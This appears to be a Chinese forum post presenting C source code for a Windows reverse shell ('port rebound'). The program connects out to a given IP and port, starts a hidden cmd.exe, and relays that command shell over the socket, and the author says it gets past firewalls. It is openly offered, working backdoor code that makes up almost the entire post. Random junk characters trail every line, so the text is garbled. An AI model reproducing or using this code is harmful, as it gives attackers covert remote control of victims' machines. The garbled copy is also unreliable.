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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wMF1HT<*  
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/* ============================== hHw1<! M  
Rebound port in Windows NT 8_>:0(y  
By wind,2006/7 u (r T2  
===============================*/ "OUY^ cM  
#include X+emJ&Z$@  
#include UBM8l  
.O~rAu*K  
#pragma comment(lib,"wsock32.lib") b,HXD~=  
&C,]c#-+  
void OutputShell();  H!y@.W{_  
SOCKET sClient; @AG=Eq9<o  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yF` ( GU  
P'_ aNU  
void main(int argc,char **argv) ?b^<Tny  
{ 2 (ux  
WSADATA stWsaData; )CL/%I,^  
int nRet; 35-FD{  
SOCKADDR_IN stSaiClient,stSaiServer; *Z"Kvj;>u  
/Jk.b/t.*S  
if(argc != 3) %iV\nFal>  
{ Y=pRenV'  
printf("Useage:\n\rRebound DestIP DestPort\n"); qy\SOA h  
return; E.VEW;=  
} 3kJSz-_M  
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WSAStartup(MAKEWORD(2,2),&stWsaData); `n|k+tsC  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $[=`*m  
?K}KSJ6_  
stSaiClient.sin_family = AF_INET; JLyFk V/  
stSaiClient.sin_port = htons(0); 84Hm PPt  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WFeaX7\b  
5U<o%+^El  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A]V<K[9:b  
{ mW_A 3S5  
printf("Bind Socket Failed!\n"); Q%GLT,f1.  
return; ^eYJ7&t  
} C$c.(5/O  
^n]?!BdU  
stSaiServer.sin_family = AF_INET; 78b9Sdi&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =(k0^ #++G  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hU2 N{Ac  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @D<Q'7mLh  
{ ~b4fk^u`+  
printf("Connect Error!"); }>j1j^c1='  
return; ?~VevD  
} T5U(B3j_  
OutputShell(); H @E-=Ly  
} } % |GV  
R?%|RCht1  
void OutputShell() 'Uo:b<  
{ P#Ikj& l   
char szBuff[1024]; s3T 6"%S`  
SECURITY_ATTRIBUTES stSecurityAttributes; \@n/L{}(@  
OSVERSIONINFO stOsversionInfo; |@)ij c4i  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bL7mlh  
STARTUPINFO stStartupInfo; w@f_TG"Vt  
char *szShell; zjJyc?  
PROCESS_INFORMATION stProcessInformation; WUi7~Ei}  
unsigned long lBytesRead; %}&9[#  
L' h'm{i  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {la ^useg[  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?Z7C0u#wd  
stSecurityAttributes.lpSecurityDescriptor = 0; WqU$cQD"  
stSecurityAttributes.bInheritHandle = TRUE; 5O%}.}n  
*m]%eU(  
Z=sAR(n}~  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EA>$t\z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 17qrBG-/MD  
ck<4_?1]  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); K<_H`k*x  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PwNLJj+%  
stStartupInfo.wShowWindow = SW_HIDE; q+G1#5  
stStartupInfo.hStdInput = hReadPipe; E3KPJ`=!*"  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,9M \`6  
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GetVersionEx(&stOsversionInfo); %BHq2~J  
+Q_Gm3^  
switch(stOsversionInfo.dwPlatformId)  L_Ai/'  
{ Ri-wbYFaP  
case 1: eZJOI1wNp  
szShell = "command.com"; i|d41u;@  
break; X:g5>is|  
default: y.oJzU[p%  
szShell = "cmd.exe"; I2l'y8)d  
break; a+BA~|u^  
} {k]VT4/  
`RzM)ILl  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \1B*iW  
SoY&R=  
send(sClient,szMsg,77,0); P?uKDON  
while(1) V+K.' J ^@  
{ YvHn~gNPhs  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +yea}uUE  
if(lBytesRead) ;~q)^.K3  
{ ?x/ L"h&Kp  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ua3ERBX{  
send(sClient,szBuff,lBytesRead,0); BR%:`uiQ<  
} (c_hX(  
else p]g/iLDZ  
{ 2I4P":q  
lBytesRead=recv(sClient,szBuff,1024,0); q B 2#EsZ  
if(lBytesRead<=0) break; 1Q$ M/}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |O+binq  
} \%^3Izsc  
} p.IfJ|  
e)bqE^JP  
return; 6%xl}z]o  
}
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